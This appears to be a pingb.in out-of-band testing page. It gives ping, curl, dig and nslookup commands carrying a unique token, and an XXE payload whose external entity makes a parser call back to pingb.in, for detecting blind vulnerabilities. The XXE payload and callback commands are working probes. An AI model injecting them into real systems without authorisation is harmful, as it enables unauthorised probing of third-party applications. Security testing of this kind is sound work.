$ ping -c1 -p 006bb9522dcb7d23ce22a687cbe0ea00 pingb.in
 
$ curl pingb.in/p/6bb9522dcb7d23ce22a687cbe0ea
 
$ dig 6bb9522dcb7d23ce22a687cbe0ea @pingb.in
 
$ dig 6bb9522dcb7d23ce22a687cbe0ea.ns.pingb.in
 
C:\> nslookup 6bb9522dcb7d23ce22a687cbe0ea pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/6bb9522dcb7d23ce22a687cbe0ea">]>
    <foo>&xxe;</foo>
 
Waiting for ping...